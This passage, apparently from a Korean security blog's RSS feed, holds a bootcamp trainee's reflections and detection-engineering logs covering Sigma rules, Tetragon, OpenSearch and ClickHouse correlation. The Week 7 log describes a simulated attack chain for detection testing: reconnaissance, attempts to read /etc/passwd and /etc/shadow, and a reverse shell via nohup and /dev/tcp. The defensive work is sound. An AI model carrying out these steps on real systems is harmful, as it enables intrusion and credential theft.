나는 의문이 들면 풀릴 때까지 이를 물고 늘어지는 경향이 있다. 이러한 점이 더 발현돼서 좀 더 잘할 수 있지 않았을까?라는 생각과 나도 엔지니어를 꿈 꾸고 있기 때문에 개인적인 욕심도 한 몫하는 거 같다.</p>
<p>하지만 팀장을 맡았기에 나만이 얻을 수 있었던 경험들, 고민들이 분명히 존재한다. 사실 어느 방향이던 내가 성장한거 같다라는 생각이 들기에 아쉬움으로 치부하기엔 팀장으로서 경험을 너무 무시하는거 같다.</p>
<hr>
<h2 id="교육-종료를-앞둔-소감">교육 종료를 앞둔 소감</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/de963ebb-bfd3-4f41-a65d-e0afaa241a7e/image.jpeg" alt=""></p>
<p>교육장에 처음 왔을 때 일종의 설렘이라고 해야할까 내가 토스뱅크에서 하는 교육을 받다니..! 엄청 들떴던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b6564c55-b8f4-482e-b2eb-2414d5b62d9e/image.jpeg" alt=""></p>
<p>또 웰컴 기프트를 받았다. 이런거도 줘?! 약간 속된말로 뽕이 찼던 순간이었던거 같다ㅋㅋㅋㅋ
내가 최초 합격해서 들어간게 아니라 추가 합격돼서 당일에 급하게 가느라 조금 늦었어서 맨 뒷자리에 앉게 됐는데 생각 해보니 옆에 바로 토스뱅크 CISO님, 블루팀 리드님, 레드팀 리드님이 계셨던거 같다.
그때 과정 등록도 해야하고 휴학 처리도 해야하고 정말 정신없어서 조금 부산스러웠던거 같은데 옆에 계셨다니ㅋㅋㅋㅋ.. 날 어떻게 보셨을까....</p>
<p>암튼 마지막 TIL이니 조금 내 얘기를 해볼까 한다. 갑자기 진지해지네요ㅎ
다른 분들은 모르겠지만 나한테 이 교육은 조금 특별한 의미를 갖는다. 어디서부터 얘기 해야할까.. 컴퓨터공학을 전공하게 된건 사실 이 쪽에 관심 있어서가 아니었다. 그때 개발자가 엄청나게 뜨고 있어서도 아니었다. 말 그대로 성적 맞춰서 간 케이스였다.</p>
<p>그래서 그런가 사실 딱히 흥미를 느끼지 못했다. 물론 간간히 재미를 느꼈던 전공 과목들도 있었지만 개발에 엄청난 희열을 느끼는 편도 아니었고 그냥 좀 낙동강 오리알 느낌이라 해야할까?
핑계일수도 있지만 정말 하나에 꽂혀서 해본 경험이 없었다. 그래도 뭔가 나도 나 나름대로 살라고 발악을 했던거 같다. 기업과 연계한 어플리케이션 개발 수업도 들어보고 연구실에 학부 연구생 생활도 했었다.</p>
<p>사실 내가 전공 지식이 두터운 편도 아니고 성적이 좋은편은 아니라 교수님께서 뭘 해보라고 하시진 않았지만 연구실 연구 분야와 맞닿아 있는 주제들에 관한 논문들을 읽으면서 학습을 했었다.
당연히 연구 분야가 정해지지도 않았고 방향도 잘 안잡히다보니 나올 수 밖에 없었다. 그러고나서 연구실에서 하던 보안 공부를 혼자 해오고 있었고, 클라우드 컴퓨팅과 네트워크 보안 과목을 수강하면서 재미를 좀 느꼈던거 같다.</p>
<p>학기 종료 후에 담당 과목 교수님께 찾아가서 클라우드 보안과 관련 된 연구실에 컨텍을 했지만 잘 안됐고 이때 토스뱅크 사이버보안 엔지니어 부트캠프 공고를 확인해서 준비했다.
앞서 말한대로 예비를 받아서 막막했다. 이 전공을 계속 해야하나.. 라는 고민까지 했던 시기여서 상당히 불안정하지 않았나 싶다.
다행히 추가 합격을 받았고 내가 여기서도 뭔가 유의미한 성과를 거두지 못하면 그때는 다른 분야로 전환을 염두에 두고 있었다.</p>
<p>그래서 더 뭔가 악착같이 생활했던거 같다. 그 와중에 또 뭔가 잘못 생각하고 행동하고 있는 나를 느낄 수 있었고 바꾸고 반성하고 바꾸고를 반복했다.
다행히 내가 잘하고 있구나라는 생각이 드는게 일단 프로젝트 하면서 너무 재밌었고 진짜 프로젝트만 생각했던거 같다. 집에 가는 길에도 교육장 가는 길에도 프로젝트 생각들로 하루하루 보냈던거 같고, 몰입한다라는게 뭔지 깨달은거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9fba9de5-c04b-4b07-8dc4-42c3e87400b0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/8ac60c38-b9d8-425b-a908-bad1839f4626/image.png" alt=""></p>
<p>그리고 TIL도 내가 변해야겠다라고 마음 먹은 순간 이후에 모두 우수 참여자로 선정되었다.
그래서 결론적으로 다행히도? 나는 이 일을 계속 해도 될거 같다라는 확신이 들었다ㅋㅋㅋㅋㅋ
몰입의 순간을 경험하니 내가 어느정도의 퍼포먼스를 낼 수 있고, 이젠 경험이 한층 더 쌓였으니 더 잘할 수 있다라는 확신을 얻은게 큰거 같다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>이렇게 TIL을 쓰는거도 마지막이라고 하니 시원섭섭한거 같다. 어쩔때는 귀찮게도 시간이 아깝다고 느껴질 때도 있었지만 시간 들여서 쓰는 과정에서 생각 정리도 할 수 있었고 나 자신에게 조금 더 솔직해질 수 있는 시간이 되지 않았나 싶다.
이제 오늘 기준으로 프로젝트 발표까지 4일정도 남겨두고 있는데 준비 잘해서 유종의 미를 거둘 수 있길 소망한다. 프로젝트 1등도 하고싶지만 우수 수료생으로도 선발됐음 좋겠다.</p>
<p>오랜 시간 수업 해주신 강사님과 우리 과정을 관리 해주시는 매니저님께 감사하다는 말씀 드리고 싶다. 그리고 이런 교육을 지원하는 토스뱅크에도 감사 인사를 드리고 싶다.
마지막으로 과정 처음부터 지금까지 항상 같은 조였던 민송이 희수, 이 둘은 프로젝트까지 같이 해서 더 정이 든거 같다. 
민송이는 팀에서 내 입장을 가장 잘 이해해주고 먼저 위로도 건네주는 친구라 고맙다는 말 해주고 싶고, 희수는 기술적인 고민들을 많이 나눌 수 있어서 좋았고 많이 배울 수 있었다.</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다! 라는 말로 항상 마무리 짓곤 했는데 이젠 정말 마지막이네요. TIL은 여기서 끝나더라도 기술 블로그와 회고는 계속해서 운영할거니까 거기서 봐요ㅎㅎ</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다! 끝!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 7]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-7</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-7</guid>
            <pubDate>Sun, 01 Feb 2026 06:55:26 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/33bd06a9-e2a0-456b-87f6-0245738f7cf3/image.png" alt=""></p>
<p>이번 7주차에는 본 프로젝트에서 수행한 탐지 및 분석 프로세스를 공격 시나리오를 통해 정상적으로 동작하는지 최종 점검하였습니다.
Tetragon 시그마 룰을 최종 수정 및 검토 하였고 설계한 공격 시나리오를 실제 본 환경에서 전반적으로 수행하고, 각 공격 단계에서 발생하는 이벤트가 OpenSearch에서 정상적으로 탐지되는지를 검증한 뒤, 탐지된 결과를 시드로 삼아 ClickHouse에서 상관분석을 수행해 공격 흐름을 재구성했습니다. 특히 지난 주 구축한 “탐지 → 분석 확장 → 타임라인 출력” 자동화 흐름이 실환경에서도 유효하게 동작하는지 확인하는 데 초점을 두었습니다.
또한, 프로젝트 결과 보고서와 발표자료를 제작하여 프로젝트 경진대회를 준비하고 있습니다.</p>
<hr>
<h2 id="system-sigma-rule-검토">System Sigma Rule 검토</h2>
<p>7주차에는 공격 시나리오 수행에 앞서, 기존에 적용 중이던 System Sigma Rule을 최종 점검 및 정합성 정리하는 단계를 진행했습니다. 지난 주까지 룰 자체의 <strong>탐지 범위와 오탐</strong> 여부를 중심으로 검증했다면, 이번 주에는 <strong>“룰이 우리 환경의 정규화된 로그 스키마에 정확히 매핑되어 실제로 정상 동작하는가”</strong>를 우선 목표로 삼았습니다.</p>
<p>특히 기존의 Sigma Rule에는 ParentImage , Image 필드 들이 저희의 환경에서는 정규화된 로그에 맞게 <code>event.process.parent_executable</code>, <code>event.process.executable</code> 등으로 사용하고 있기 때문에, 일부 룰에서 필드 불일치로 인해 탐지가 안될 수도 있는 문제가 확인되었습니다. 이에 따라 7주차에는 스키마 불일치 가능성이 높은 룰을 선별하여 일괄 검토를 수행했습니다.</p>
<p>검토는 다음 절차로 진행했습니다.</p>
<ol>
<li>룰 전체 목록에서 ParentImage 필드를 참조하는 룰 6개, Image 필드를 참조하는 룰 87개를 추출한 뒤, 각 룰이 요구하는 의미(부모/자식 프로세스 관계, 실행 경로, 인자 조건)를 문장 단위로 해석했습니다.</li>
<li>해당 의미가 유지되는 범위 내에서 정규화 스키마에 맞게 필드를 치환하되, 단순히 필드를 합쳐서 매칭 범위를 넓히는 방식이 아니라 원본 룰이 의도한 행위 조건이 그대로 유지되도록 조건을 분리·구조화하는 방식으로 수정했습니다.</li>
<li>수정 후에는 조건 구성의 논리(부모 프로세스 조건 + 자식 프로세스 조건 + 특정 인자조건)가 원본 룰의 탐지 목적과 일치하는지 재확인하여 최종 반영했습니다.</li>
</ol>
<p><strong>Remote Access Tool - Team Viewer Session Started On Linux Host</strong>라는 Sigma Rule은 <code>TeamViewer_Service</code> (데몬) -&gt; 부모, <code>TeamViewer_Desktop</code> -&gt; 자식, 그리고 특정 IPC 세션 시작 파라미터를 탐지하는 정책입니다.
즉, <strong>원격 호스트에 의해 세션이 실제로 시작된 순간</strong>을 탐지하는 것입니다.</p>
<ul>
<li><p>원본 규칙
<img src="https://velog.velcdn.com/images/_sychoii/post/fb86b145-2187-40fe-a012-03ac745e1c29/image.png" alt=""></p>
</li>
<li><p>수정 후
<img src="https://velog.velcdn.com/images/_sychoii/post/b74402c5-8e7b-4643-8ac9-de8be7077d1a/image.png" alt=""></p>
</li>
</ul>
<hr>
<h2 id="공격-시나리오-수행-및-탐지-프로세스-검증">공격 시나리오 수행 및 탐지 프로세스 검증</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/283370ac-4a1b-4e3a-ac66-ed6638b56f27/image.png" alt=""></p>
<p>7주차에는 web-service를 시작점으로 내부 서비스 체인까지 확장되는 구조를 전제로, 프로젝트에서 설계한 공격 시나리오를 단계별로 수행했습니다.
각 공격 과정에서 발생하는 런타임 행위와 네트워크 흐름이 각각 Tetragon / Hubble을 통해 정상 수집되는지 확인했으며, 공격 수행 이후 수집된 로그가 중앙 저장소로 적재되어 탐지·분석 단계로 이어지는지까지 전체 파이프라인 관점에서 점검했습니다.</p>
<p>또한 단일 공격 단면만 확인하는 방식이 아니라, 공격 단계별로 서로 다른 형태의 행위(명령 실행, 정찰, 권한 확인 시도, 원격 제어 채널 확보 등)가 발생하도록 구성하여 탐지 룰이 다양한 공격 패턴에서도 잘 동작하는지를 검증했습니다.</p>
<hr>
<h2 id="click-house-상관분석-수행">Click House 상관분석 수행</h2>
<p><strong>탐지된 이벤트가 실제 공격 흐름의 일부인지</strong>를 ClickHouse에서 확인하는 상관분석을 수행했습니다. ClickHouse에는 Tetragon 로그와 Hubble 네트워크 흐름 로그가 함께 적재되어 있으므로, 동일 시간축과 동일 파드 컨텍스트를 기준으로 두 로그를 결합해 공격 맥락을 재구성할 수 있습니다.</p>
<p>스크립트를 활용해 OpenSearch 탐지 이벤트를 입력으로 받아 ClickHouse에서 연관 데이터를 자동 조회하고 타임라인 형태로 출력되도록 구성했습니다.
OpenSearch 탐지 로그에서 <strong>타임스탬프, 파드 이름, 실행된 바이너리, 명령어 인자, 실행 식별자</strong>를 파싱한 뒤, ClickHouse 조회 쿼리를 자동 생성·실행합니다. 또한 명령어 인자 내에 포함된 IP/포트 등 아티팩트를 추출해 네트워크 흐름 조회의 키 값으로 활용했습니다.</p>
<p>이때 분석 노이즈를 줄이기 위해, 동일 파드에서 동일 명령어가 반복 실행되는 경우 이를 <strong>120초 단위로 그룹화</strong>하여 단일 이벤트로 압축했습니다. 이후 프로세스 실행 시점을 기준으로 <strong>선행 10초 ~ 후행 120초</strong> 구간을 분석 창으로 설정하고, 해당 구간에서 발생한 네트워크 흐름을 조회해 연관성이 확인되는 경우 RELATED로 분류하여 리포트에 포함했습니다.
아래는 자동화 리포트 출력 예시입니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c7c069e6-1be0-4c5b-952f-e34923461517/image.png" alt=""></p>
<p>위 레포트 항목에는 리버스 쉘 연결 시도에 대한 시스템 이벤트와 네트워크 이벤트가 하나의 이벤트로 묶여 표시됩니다. 또한 하단에는 프로세스 상세 조회 및 네트워크 흐름 조회를 위한 ClickHouse 쿼리가 자동 생성되어, 즉시 심층 분석으로 이어질 수 있도록 구성되었습니다.</p>
<hr>
<h2 id="공격-흐름-재구성">공격 흐름 재구성</h2>
<p>생성된 레포트에서 식별된 이벤트를 시드로 하여 Alert에 의해 Click House로 수집된 로그를 기반으로 프로세스 계보 추적을 수행합니다. 이는 사후 공격 흐름 복원을 목표로 합니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/82d91d9b-152c-4a3a-aeca-ac0546a75ba8/image.png" alt=""></p>
<p>상세 실행 이력을 확인한 결과 공격자는 <code>id</code> 명령으로 RCE 성공을 확인한 뒤 <code>ping</code>으로 외부 통신 가능 여부를 점검했으며, 이후 <code>uname</code>, <code>cat /etc/os-release</code>, <code>ip addr</code>, <code>netstat/ss</code> 등 시스템·네트워크 정찰 명령을 연속 수행했습니다. 또한 <code>/etc/passwd</code>, <code>/etc/shadow</code> 접근 시도가 확인되어 권한 정보 접근 가능성을 탐색한 정황이 관측되었습니다.
마지막으로 <code>nohup</code>과 <code>/dev/tcp</code>를 이용한 리버스 쉘 형태의 명령 실행이 나타나면서 지속적인 제어 채널 확보 단계까지 이어졌습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 19]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-19</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-19</guid>
            <pubDate>Tue, 27 Jan 2026 13:50:35 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 프로젝트 진행에 있어서 답답함을 느끼던 부분을 해결한 한 주였던거 같다. 그와 동시에 나 자신에 대해 많은 생각을 했던 한 주였다. 우리 프로젝트 팀장으로서 내가 잘했을까? 이런 생각을 많이 했던거 같다.
암튼 이번주 TIL도 있었던 일들과 수행했던 작업들을 정리 해보겠다.</p>
<hr>
<blockquote>
<h3 id="프로젝트-수행일지">프로젝트 수행일지</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9976a784-6087-4fb6-a8bb-3e58ea6ae96b/image.png" alt=""> 프로젝트에 대해 궁금하다면 <a href="https://velog.io/@_sychoii/series/Toss-Team-ForenSeek">이 시리즈</a>를 읽어 보세요!</p>
</blockquote>
<h2 id="프로젝트-deadlock">프로젝트 Deadlock</h2>
<p>우리 프로젝트의 핵심은 탐지 고도화이다. 따라서 우리는 <strong>Tetragon</strong>을 활용하여 런타임 환경에서 행위 기반 탐지를 하고 이 탐지 결과에 대해 시그마 룰을 활용한 지식 기반 탐지를 하여 각 탐지 기법이 갖는 단점을 서로 보완하여 탐지 Hole을 최소화 시키는 것을 목표로 했다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/49ef6e4b-5b0e-4dd5-b05a-f8eedcaf1fdf/image.png" alt=""></p>
<p>시그마 룰은 <strong>ECS(Elastic Common Schema)</strong> 포맷을 따라 설계되어 있다. 하지만 우리가 사용하는 Tetragon이 남기는 로그는 ECS 포맷이 아니기 때문에 로그 타입을 새롭게 정의하여 룰이 가리키는 <strong>Condition</strong>을 우리 로그 포맷에 맞게 진행 해주는 작업이 필요했다.
이런 과정을 거쳐 Open Search 대시보드에서 지원하는 Detector에 룰을 설정을 하면 Tetragon이 남긴 로그를 룰과 비교하여 위협 행위를 탐지하는 식으로 동작한다.</p>
<p><strong>Sigma Rule</strong> 도입 제안과 설계를 내가 했기 때문에 내가 이 작업을 맡아 진행을 할까 했지만 <strong>Correlation</strong> 분석 설계와 우리 프로젝트에서 활용할 공격 시나리오 검증 등 내가 더 힘을 실어서 진행해야 할 Task들이 많았고 반복적인 작업에 가까웠기 때문에 다른 팀원들에게 이 작업을 맡기게 되었다.</p>
<p>공격 시나리오 정리 -&gt; Detector 설정 -&gt; 공격 수행 -&gt; 탐지 결과 정리 -&gt; 분석 
이 작업들이 연속적이기 때문에 선행 단계가 완료가 되어야 후속 작업들을 할 수 있었다.
프로젝트 준비 과정에서 MCP 설계라던지 어떤 공격을 수행할 수 있는지 등 정리 해놓았기 때문에 공격 시나리오를 하루만에 끝내고 주말동안 최대한 시그마 룰 작업을 끝낼 수 있게 시간 확보를 해주고자 밤을 세워서 다음날 점심즈음에 작업을 마무리해서 넘겼다.</p>
<p>근데 주말 이틀 간 마무리하기로 한 시그마 룰 작업이 끝나지 않았고 원인조차 명확히 파악을 못하고 있는 상황이 발생했다. 사실 이해가 가지 않았다. 이 작업을 위해 로그 정규화도 이미 진행한 상태여서 데이터 소스에는 문제가 전혀 없었을텐데 .. 사실 완수를 하지 못했다라는 점보다 원인 파악을 명확히 하지 못했다는 점에서 화가 났던거 같다.</p>
<p>다음날 와서 회의를 진행하는데 담당 팀원들이 원인을 명확히 파악하지 못하고 있는 상태였다. 희수가 안될리가 없다며 바로 조금 만져봤는데 된다고 한다. 정확히 Alert가 발생한 것까지 확인한 것이다. 그리고 내가 룰 필드 매핑한 것을 봤는데 같은 값을 서로 다른 필드로 참조하고 있는 것을 확인했다.
이에 대해서 왜 이렇게 설정을 한 거냐고 물어봤지만 명확한 답변을 얻지 못했다. 이런 과정에서 담당 팀원들의 감정이 조금 상한게 보였다.</p>
<p>룰 양이 180개가 넘어가다 보니 힘든건 이해한다만 내 입장에서는 프로젝트를 이끌어 가야하고 내가 한 질문에 대해 명확하게 답변을 못 받았고, 개개인의 능력 차이는 당연히 존재하겠지만 한 사람이 조금 만져서 해결된 일을 이렇게까지 끌고 갈 일인가? 싶었다.</p>
<hr>
<h2 id="결단">결단</h2>
<p>시그마 룰이 끝나기까지 마냥 기다릴 수는 없었기에 후속 작업들을 끌고와서 진행하기로 했다. 일단 우리 프로젝트에서 탐지 고도화 부분은 검증을 해야 알 수 있었고, 방법론적인 측면에서 더이상 뭘 추가하거나 그럴 이유가 없었기에 분석에 집중을 하기로 했다.
근데 우리 프로젝트에서 분석에 대한 수준이 너무 낮은듯한 생각이 들었다. 그래서 희수랑 민송이랑 이에 대한 주제로 한 1시간 ~ 2시간 가량 토론?을 했던거 같다.
결론은 분석을 고도화 하기 위한 추가적인 수단이 필요하다는 것이었다. 그래서 각자 분석을 어떻게 고도화 시킬 것인가에 대해 방법론적으로 설계를 해오자는 것이었다.</p>
<p>나는 <strong>Risk Score</strong> 도입을 설계를 했다. <strong>Open Search Security Analytics</strong>에서 제공하는 <strong>Correlation Engine</strong>은 <strong>Detector</strong>가 잡아낸 결과를 통해 동작한다. 즉, <strong>Rule Based Detection</strong>의 결과를 상관분석을 하는 것이기 때문에 <strong>Anomaly Detection</strong> 결과를 반영하지 못 한다고 생각하면 되고 이렇게 해서 분석을 끝내면 우리 프로젝트에서 분석의 깊이가 너무 얕다는 판단이 들었다.</p>
<p>그렇다면 외부에서 상관분석을 해야할까? 이는 의미가 없다고 생각했다. 이미 설정한 Detection Rule에 의해 탐지된 시스템, 네트워크 로그를 상관분석이 이루어지기 때문에 상관 분석을 외부에서 추가로 진행하는 것은 분석 고도화 측면에서 설득력이 없다고 생각했다.</p>
<p>정리 해보면 Rule Based, Anomaly(Baseline Based), Behavior Based Detection에 의해 탐지된 결과와 상관분석 결과를 가지고 다른 분석 기법을 통해 분석을 진행하는 것이 분석 고도화에 부합하고, 상관분석은 Security Analytics에서 지원하는 기능을 하는 것으로 마무리 짓는 것이 맞다는 판단을 해서 <strong>Risk Score를 이용한 정량적 위협 모델링</strong>을 설계하기 시작했다.</p>
<hr>
<h2 id="risk-score를-이용한-정량적-위협-모델링">Risk Score를 이용한 정량적 위협 모델링</h2>
<p>우선 <strong>Risk Score</strong>에 대한 정의를 내릴 필요가 있었다. 먼저 생각한건 우리 프로젝트의 탐지 결과에서 정량적인 지표로 뽑을 수 있는게 무엇일까?라는 생각을 했다. 그리고 상관 분석 결과를 이와 어떻게 결합할지를 생각 해봤다.</p>
<h3 id="지표화">지표화</h3>
<p>지표화 단계에서는 <strong>“각 탐지 레이어 별 탐지 결과” + “상관 분석 결과”</strong>를 Input으로 사용한다.</p>
<ul>
<li><strong>Rule Based Detection</strong>에서 지표<ul>
<li>탐지 된 규칙에 대한 Rule Severity</li>
</ul>
</li>
<li><strong>Baseline Based Detection</strong>에서 지표<ul>
<li>Anomaly Grade (평소와 얼마나 다른가)</li>
<li>Confidence (그 판단이 얼마나 신뢰성을 갖는가)</li>
</ul>
</li>
<li><strong>Behavior Based Detection</strong>에서 지표<ul>
<li>실행 Process 정보 (기준을 정하여 수치로 환산)</li>
<li>실행 Process의 부모 프로세스 정보 (기준을 정하여 수치로 환산)</li>
</ul>
</li>
<li><strong>Cohesion(응집도)</strong> 지표<ul>
<li>동일한 pod_name 또는 container_id에서 발생 여부</li>
<li>각 탐지 레이어에서 설정한 Timewindow(1분 ~ 5분)내에 이벤트들이 밀집해 있는지 여부</li>
</ul>
</li>
<li><strong>Correlation Result</strong>에서 지표<ul>
<li>상관 관계의 강도</li>
</ul>
</li>
</ul>
<p>정리를 해보니 이렇게 지표화 할 수 있는 것을 뽑을 수 있었고, 정말 간단히 이에 대한 수식을 다음과 같이 세워봤다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b5ffc504-1ba6-425c-8582-72ca54753a93/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/ef9ca449-e2d0-4285-b75d-a87bd427749c/image.png" alt=""></p>
<p>시그마 룰에 부여된 Severity Score와 이상 탐지 결과와 신뢰도의 곱과 실행 프로세스 정보를 수치로 환산한 값을 모두 더하고 이를 응집도를 곱한 수식이다.
우선 이렇게 러프하게 설계해서 팀원들한테 공유를 했고, 대부분 긍정적인 반응이었지만 이 지표에 대한 신뢰성 문제, 가중치 설정, 수식 구체화 과정에서 사용하는 알고리즘 등 남은 기간동안 논리적 결핍없이 완수할 수 있을까?라는 의문은 풀리지 않았다.
그래서 시각화 단계에서 보조 도구로서 활용을 할까도 생각했지만 오히려 우리 프로젝트에서 마이너스 요소로 작동할 수도 있다는 생각이 풀리지 않아 폐기했다.</p>
<h3 id="stride">STRIDE</h3>
<p>공격 행위를 여섯가지 범주로 나눈 모델이다. 해당 위협 모델을 통해 얻을 수 있는 것은 어떤 유형의 공격이 일어났는지를 범주화 할 수 있다.</p>
<ul>
<li>Spoofing
무단 액세스를 위해 다른 사용자 또는 시스템 구성 요소를 사칭하는 것을 의미한다.
스푸핑 공격은 인증 메커니즘을 손상시켜 공격자가 합법적인 사용자 또는 장치로 가장할 수 있도록한다.</li>
<li>Tampering
변조는 데이터 또는 코드의 무단 변경을 의미한다. 실행 중인 애플리케이션의 파일, 데이터베이스, 소프트웨어 코드, 배포 파이프라인 또는 메모리를 수정하여 데이터 무결성을 저하 시키는 공격이 이에 해당한다.</li>
<li>Repudiation
사용자가 특정 활동(데이터 삭제, 설정 변경, 권한 오용 등)을 수행한 후, 이를 입증할 증거가 없음을 악용하는 공격이다. 로그 삭제와 같은 공격이 이에 해당한다.</li>
<li>Information disclosure
권한이 없는 사용자나 프로세스가 보호되어야 할 민감한 정보에 접근하여 읽게 되는 위협을 의미한다. 파일 및 데이터 유출과 같은 공격이 이에 해당한다.</li>
<li>Denial of service
과도한 요청으로 시스템을 압도하거나 시스템 취약점을 악용하여 서비스의 가용성을 저해하는 것을 목표로 하는 공격이 이에 해당한다.</li>
<li>Elevation Of Privilege
공격자가 시스템 취약점을 악용하여 권한 상승을 하는 것을 의미한다. 컨테이너 탈출과 같은 공격이 이에 해당한다.</li>
</ul>
<p>원래 STRIDE와 Risk Score를 결합하려고 했는데, Risk Score가 우리 프로젝트에서 폐지되면서 STRIDE는 Detector 분리 작업에 사용하게 됐다.</p>
<hr>
<h2 id="click-house-도입">Click House 도입</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/2f133455-54f6-456c-a06e-c4e66c194e7a/image.jpg" alt=""></p>
<p>이건 희수가 찾아왔고 결론적으로 우리 프로젝트에 결핍으로 작용했던 분석의 깊이가 얕다는 점을 완벽하게 메워줘서 한층 풍성해진 결과를 얻어낼 수 있었다.</p>
<p><strong>ClickHouse</strong>는 대규모 데이터의 실시간 분석을 위해 설계된 <strong>열 지향(Column-oriented)</strong> 분산 데이터베이스 관리 시스템이다. 데이터를 행이 아닌 <strong>열 단위로 저장</strong>하여, 특정 컬럼에 대한 <strong>집계 작업(SUM, AVG 등)</strong> 속도가 매우 빠르고 압축 효율이 높다는 특징을 가지고 있고 CPU의 SIMD 지침을 활용하여 데이터를 한 번에 대량으로 처리함으로써 압도적인 쿼리 성능을 제공한다고 한다.</p>
<p><strong>Toss, kakao</strong> 등 큰 기업들에서도 많이 사용하는 도구로 알려져 있어 검증이 된 도구라는 생각이 들었다. 희수가 데모를 진행해서 결과를 가지고 왔는데 정말 충격적(Positive)이었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/587ab9a9-2a35-4567-a239-1b501f191a86/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/292ce946-fbd0-4264-a400-a31f177e0a89/image.png" alt=""></p>
<p>위 두 사진은 Click House를 이용해서 탐지 결과를 분석한 것이다. 결과를 보면 Tetragon이 가지는 가장 강력한 기능중 하나인 프로세스 계보 추적의 결과가 그대로 녹아져 있고, 허블 로그를 활용한 네트워크 분석 결과도 시각적으로 훌륭하게 나왔다.</p>
<p>우리 프로젝트의 퀄리티가 한층 더 업그레이드 된 순간이었던거 같다. 사실 나는 어떤 도구를 추가적으로 도입하기 보단 방법론적으로 설계해서 진행 해야한다고 생각했는데 잘못 생각했던거 같다. 암튼 우리는 이 도구를 사용하기로 결정했고, 이를 활용해서 탐지 결과를 분석하고 결과물에 대한 가시성을 좋게 만들기 위해 작업중에 있다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>처음에 말했듯이 프로젝트 팀장으로서 내가 잘하고 있을까?라는 의문은 이번주에 있었던 문제를 해결 해나가는 과정을 돌이켜 봤을 때 잘못된 판단을 했다는 생각과 함께 증폭했던거 같다. 사람의 성향에 맞춰 대응을 할 것인가 온전히 일적으로 팀에 도움이 되는 방향으로 대응을 할 것인가 항상 고민이었다.</p>
<p>시그마 룰을 담당한 팀원들의 성향은 MBTI로 따지면 F 성향이 강하다고 생각한다. 그래서 팀 전체적으로 봤을 때 온전히 일적으로 어떤 결정을 내리기엔 감정이 상한다던가 그런 이슈가 발생해서 빨리 진행해야 한다라던지 그런 내용을 전달할 시 해당 팀원들의 일적인 효율이 떨어진다라는 판단을 했다. 그래서 기다리기로 했고, 진행상황만 정기적으로 물어보며 상황을 체크했다.</p>
<p>모든 결정에는 Trade Off가 있다. 역시 이 판단에도 존재한다. 그렇게 일정이 지연될 경우 다른 팀원들과 내가 그 무게를 견뎌야 했기 때문에 남은 사람들의 부담이 가중된다. 또, 다른 팀원들이 이에 답답함을 많이 느낀다는걸 체감했다.
뭐가 맞는 판단이었을까? 사실 잘 모르겠다. 그당시 내가 할 수 있었던 두 가지 판단 중 다른 판단을 했다고 해서 더 좋은 결과를 가져올 수 있다는 확신도 없고 더 안좋은 결과를 가져올 수 있다는 확신도 없다.</p>
<p>머리는 아프지만 이런거 또한 배움의 과정인거 같다. 프로젝트 진행하면서 기술적인 성장도 당연히 있겠지만 팀장으로서 어떤 의사결정을 위한 고민들, 팀원들을 대하는 태도 등 팀장을 하지 않았다면 할 수 있었던 고민들은 아니니 좋은쪽으로 생각하려고 한다. 실수하면서 실패하면서 다 배우는거 같다.
나의 판단의 상처 받거나 답답함을 느끼는 모두에게 미안하지만 프로젝트가 잘 됐으면 하는 마음을 팀원들이 느끼게 하면 용서? 받을 수 있지 않을까ㅋㅋㅋㅋㅋ하는 생각이다.
뭐 근데 그렇다고 해서 이해를 바라거나 그러진 않는다. 나도 워낙 결과론적인 사람이라.. 결과로 증명하자.</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 6]]></title>
